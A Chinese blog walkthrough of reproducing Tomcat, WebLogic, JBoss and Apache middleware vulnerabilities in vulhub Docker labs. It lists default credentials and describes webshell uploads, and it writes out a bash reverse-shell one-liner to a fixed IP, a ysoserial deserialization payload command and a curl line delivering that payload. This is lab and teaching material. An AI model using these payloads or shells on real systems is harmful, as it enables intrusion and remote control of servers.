常見中間件漏洞

一、Tomcat

Tomcat put方法任意文件寫入漏洞

環境搭建,啟動時端口被占用就改yml配置文件,改成8081端口。(我這里是8080)

cd vulhub-master/tomcat/CVE-2017-12615 
docker-compose up -d 

去抓包,改成put提交。下面的內容是用哥斯拉生成的木馬文件。把1.jsp打開把內容復制進來就可以了。放行后去訪問一下。

放行后去訪問一下,然后用工具連接就可以了。

后臺弱口令部署war包

開環境。?打不開就換個端口。

cd tomcat8
docker-compose up -d

把生成的1.jsp文件先壓縮一下,然后把后綴改成war。

點Manager App我們去上傳文件。(賬號密碼都是tomcat)

去放問一下,然后用工具連接一下即可。

Tomcat文件包含漏洞

tomcat默認的conf/server.xml中配置了2個Connector,一個為8080的對外提供的HTTP協議端口,另一個是默認的8009AJP協議端口,兩個端口默認均監聽在外網ip。

環境搭建

cd vulhub-master/tomcat/CVE-2020-1938  
docker-compose up -d 

開了環境之后把腳本文件拖進去,執行下面命令(如果有python2直接用python運行就行)。

python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 47.93.51.60

二、WebLogic

后臺弱口令GetShell

默認賬號密碼:weblogic/Oracle@123

cd vulhub-master/weblogic/weak_password  
docker-compose up -d

開環境時出現錯誤,改一下yml文件。再重新啟動一下就可以了。

訪問下面這個頁面用賬號密碼登陸進去。

http://47.93.51.60:7001/console/login/LoginForm.jsp

登錄后臺后,點擊部署,點擊安裝,點擊上傳文件,把我們生成的1.war上傳上去。

嘗試用哥斯拉連接,連接成功即可。

WebLogic T3協議反序列化命令執行漏洞

使用工具掃漏洞急用即可。

cd vulhub-master/weblogic/CVE-2018-2628  
docker-compose up -d

WebLogic文件任意上傳漏洞

cd vulhub-master/weblogic/CVE-2018-2894  
docker-compose up -d

這里環境后臺密碼是隨機得,獲取密碼:docker-compose logs | grep password?

訪問http://47.93.51.60:7001/console/login/LoginForm.jsp 。

由于博主的weblogic頁面打不開,就不給大家示范了。

三、Jboss

Jboss JMXInvokerServlet 反序列化漏洞

cd vulhub-master/jboss/JMXInvokerServlet-deserialization  
docker-compose up -d

http://47.93.51.60:8080/invoker/JMXInvokerServlet 

訪問時下載了一個文件。說明接口開放,此接口存在反序列化漏洞。下載ysoserial工具進行漏洞利用。

將反彈shell進行base64編碼。同時打開監聽。

bash -i >& /dev/tcp/47.93.51.60/6666 0>&1 
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45My41MS42MC82NjY2IDA+JjEg

執行下面兩個代碼,就可以監聽到了。?

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45My41MS42MC82NjY2IDA+JjEg}|{base64,-d}| {bash,-i} ">exp.ser
curl http://47.93.51.60:8080/invoker/JMXInvokerServlet --data-binary @exp.ser 

JBossMQ JMS 反序列化漏洞?

cd vulhub-master/jboss/CVE-2017-7504  
docker-compose up -d 
http://47.93.51.60:8080/jbossmq-httpil/HTTPServerILServlet

在我們的工具里運行以下代碼。

python jexboss.py -u http://47.93.51.60:8080

JBoss 5.x/6.x反序列化漏洞

cd vulhub-master/jboss/CVE-2017-12149  
docker-compose up -d

訪問主頁。?

該漏洞出現在/invoker/readonly中 ,服務器將用戶post請求內容進行反序列化。返回500,說明頁?存在,此頁面存在反序列化漏洞。

http://47.93.51.60:8080/invoker/readonly

使用工具進行檢測,執行成功即可。

Administration Console弱口令

賬戶密碼:admin,vulhub

cd vulhub-master/jboss/CVE-2017-12149  
docker-compose up -d 
http://47.93.51.60:8080/admin-console/login.seam

文件名是數字時,上傳出錯了,所以我改成字母了,就上傳成功了。

http://47.93.51.60:8080/a/a.jsp

訪問一下,沒有報錯就說明上傳成功了,用哥斯拉連接試試。

低版本JMX Console未授權訪問Getshell

cd vulhub-master/jboss/CVE-2017-7504  
docker-compose up -d

這里我們使用的復現環境不存在,所以需要密碼(正常環境無需密碼直接可進入)

賬號密碼:admin,admin?

把我們的a.war文件拖進去之后開啟80端口,就可以看見a.war了。

然后把a.war的遠程路徑輸進去。

去訪問一下就可以了。

http://47.93.51.60:8080/a/a.jsp

高版本JMX Console未授權

賬號密碼:admin,vulhub

cd vulhub-master/jboss/CVE-2017-12149  
docker-compose up -d 

http://47.93.51.60:8080/a/a.jsp

沒有出錯說明上傳成功。

四、Apache

Apache HTTP Server 路徑穿越漏洞

docker pull blueteamsteve/cve-2021-41773:no-cgid 
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid 

打開我們的工具。存在文件讀取漏洞,但是我們執行命令出現了亂碼。

因為瀏覽器不能解碼,那我們可以去抓包執行我們的命令。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/91396.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/91396.shtml
英文地址,請注明出處:http://en.pswp.cn/web/91396.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

27.(vue3.x+vite)以pinia為中心的開發模板(監聽watch)

效果截圖 代碼實現: HelloWorld.vue <template><div style="padding: 20px">介紹:<br />1:使用統一的 watch 來監聽store的值。<br

Jenkins 詳解

Jenkins 是一個開源的持續集成和持續交付(CI/CD)工具&#xff0c;用于自動化軟件開發過程中的構建、測試和部署階段。以下是關于 Jenkins 的詳細介紹&#xff1a; 1. Jenkins 核心概念 1.1 持續集成(CI) 開發人員頻繁地將代碼變更提交到共享倉庫每次提交都會觸發自動構建和測試…

動態配置實現過程

查看DCCValueBeanFactory類的完整實現&#xff0c;了解動態配置的實現過程 動態配置實現過程 1. 自定義注解 使用DCCValue注解標記需要動態配置的字段&#xff0c;格式為key:defaultValue&#xff1a; DCCValue("downgradeSwitch:0") private String downgradeSw…

【大模型理論篇】跨語言AdaCOT

參考&#xff1a;AdaCoT: Rethinking Cross-Lingual Factual Reasoning throughAdaptive Chain-of-ThoughtAdaCoT&#xff08;Adaptive Chain-of-Thought&#xff0c;自適應思維鏈&#xff09;是一項提升大型語言模型&#xff08;LLMs&#xff09;跨語言事實推理能力的新框架。…

vue3項目搭建

前一段時間招聘前端開發,發現好多開發連基本的創建項目都不會,這里總結一下 在Vue 3中,使用Webpack和Vite創建的項目文件結構及語言(JS/TS)的選擇有以下主要區別: 1. 創建方式與文件結構差異 方式一、Webpack(Vue CLI) 創建命令: vue create project-name 典型文件結構…

企業簽名的多種形式

企業簽名有多種形式&#xff0c;可分為企業簽名獨立版、企業簽名穩定版、企業簽名共享版等。每一種形式的企業簽名都有其獨特的特點&#xff0c;其中&#xff1a;  企業簽名獨立版&#xff1a;其特性主要為穩定性較高&#xff0c;使用者可以通過控制APP的下載量來保證APP的穩…

解構遠程智能系統的視頻能力鏈:從RTSP|RTMP協議接入到Unity3D頭顯呈現全流程指南

在人工智能奔騰的2025年&#xff0c;WAIC&#xff08;世界人工智能大會&#xff09;釋放出一個明確信號&#xff1a;視頻能力已經成為通往“遠程智能”的神經中樞。在無人機、四足機器人、遠程施工、巡檢等新興場景中&#xff0c;一套可靠、低延遲、可嵌入頭顯設備的視頻傳輸系…

Less Less基礎

1.lessless是一種動態樣式語言&#xff0c;屬于CSS預處理器的范疇&#xff0c;它擴展了CSS語言&#xff0c;增加了變量&#xff0c;Mixin&#xff0c;函數等特性&#xff0c;使CSS更易維護和擴展。Less既可以在客戶端上運行&#xff0c;也可以借助Node.js在服務端運行。2.Less中…

如何使用 Redis 實現 API 網關或單個服務的請求限流?

使用 Redis 高效實現 API 網關與服務的請求限流 在微服務架構中&#xff0c;對 API 網關或單個服務的請求進行速率限制至關重要&#xff0c;以防止惡意攻擊、資源濫用并確保系統的穩定性和可用性。 Redis 憑借其高性能、原子操作和豐富的數據結構&#xff0c;成為實現請求限流的…

圖片查重從設計到實現(7) :使用 Milvus 實現高效圖片查重功能

使用 Milvus 實現高效圖片查重功能本文將介紹如何利用 Milvus 向量數據庫構建一個高效的圖片查重系統&#xff0c;通過傳入圖片就能快速從已有數據中找出匹配度高的相似圖片。一.什么是圖片查重&#xff1f; 圖片查重指的是通過算法識別出內容相同或高度相似的圖片&#xff0c;…

誘導多能干細胞(iPSC)的自述

自十七年前誘導多能干細胞&#xff08;也稱iPS細胞或iPSC&#xff09;技術出現以來&#xff0c;干細胞生物學和再生醫學取得了巨大進展。人類iPSC已廣泛用于疾病建模、藥物發現和細胞療法開發。新的病理機制已被闡明&#xff0c;源自iPSC篩選的新藥正在研發中&#xff0c;并且首…

基于深度學習的醫學圖像分析:使用DeepLabv3+實現醫學圖像分割

前言 醫學圖像分析是計算機視覺領域中的一個重要應用&#xff0c;特別是在醫學圖像分割任務中&#xff0c;深度學習技術已經取得了顯著的進展。醫學圖像分割是指從醫學圖像中識別和分割出特定的組織或器官&#xff0c;這對于疾病的診斷和治療具有重要意義。近年來&#xff0c;D…

Lombok 字段魔法:用 @FieldDefaults 解鎖“隱身+鎖死”雙重特效

前言 項目里總有這樣一種神秘現象:明明只是幾個字段,卻堆滿 private final,每次都得機械敲上一遍。有的同事一邊敲一邊默念“代碼規范不能丟”,表情嚴肅得像在寫遺囑。可惜,規范雖好,手指遭殃。 于是,Lombok 悄然登場,肩扛簡潔大旗,手握注解神器,@FieldDefaults 正…

小白如何自學網絡安全,零基礎入門到精通,看這一篇就夠了!

小白如何自學網絡安全&#xff0c;零基礎入門到精通&#xff0c;看這一篇就夠了&#xff01; 小白人群想學網安但是不知道從哪入手&#xff1f;一篇文章告訴你如何在4個月內吃透網安課程&#xff0c;掌握網安技術 一、基礎階段 1.了解網安相關基礎知識 了解中華人民共和國網…

前端 vue 第三方工具包詳解-小白版

恭喜你邁入Vue世界&#xff01;&#x1f604; 對于前端小白&#xff0c;掌握這些常用第三方包能極大提升開發效率和項目質量。以下是Vue生態中必備的第三方包及小白友好式用法解析&#xff1a;&#x1f9f1; 一、基礎工具包&#xff08;每個項目必裝&#xff09; 1. Vue Router…

解決mac下git pull、push需要輸入密碼

解決方法&#xff1a; 1.強制配置 SSH 自動加載鑰匙串 編輯 SSH 配置文件 vi ~/.ssh/configHost *AddKeysToAgent yes # 自動將密鑰添加到 ssh-agentUseKeychain yes # 明確使用鑰匙串存儲密碼IdentityFile ~/.ssh/id_rsa # 替換為你的私鑰路徑2.修復 Sh…

內存網格、KV存儲和Redis的概念、使用場景及異同

基本概念 內存網格 (In-Memory Data Grid - IMDG) 內存網格是一種分布式內存數據存儲技術&#xff0c;具有以下特點&#xff1a;分布式架構 數據跨多個服務器節點分布存儲提供線性擴展能力內存優先 主要數據存儲在內存中&#xff0c;提供微秒級訪問延遲支持持久化作為備份企業級…

【C++算法】87.BFS解決最短路徑問題_為高爾夫比賽砍樹

文章目錄題目鏈接&#xff1a;題目描述&#xff1a;解法C 算法代碼&#xff1a;題目鏈接&#xff1a; 675. 為高爾夫比賽砍樹 題目描述&#xff1a; 解法 注意&#xff1a;砍樹要從低到高砍。 砍掉1&#xff0c;從1到5到2 砍掉2&#xff0c;從2到5到3 砍掉3&#xff0c;從3到5…

JavaScript內存管理完全指南:從入門到精通

文章目錄JavaScript內存管理完全指南&#xff1a;從入門到精通1. 哪些數據類型屬于引用類型&#xff08;復雜數據類型&#xff09;&#xff1f;2. 為什么引用類型要存儲在堆中&#xff1f;3. 引用類型的內存存儲示例示例 1&#xff1a;對象&#xff08;Object&#xff09;示例 …

Linux網絡-------3.應?層協議HTTP

1.HTTP協議 雖然我們說,應?層協議是我們程序猿??定的.但實際上,已經有?佬們定義了?些現成的,??常好?的應?層協議,供我們直接參考使?.HTTP(超?本傳輸協議)就是其中之?。 在互聯?世界中&#xff0c;HTTP&#xff08;HyperText Transfer Protocol&#xff0c;超?本…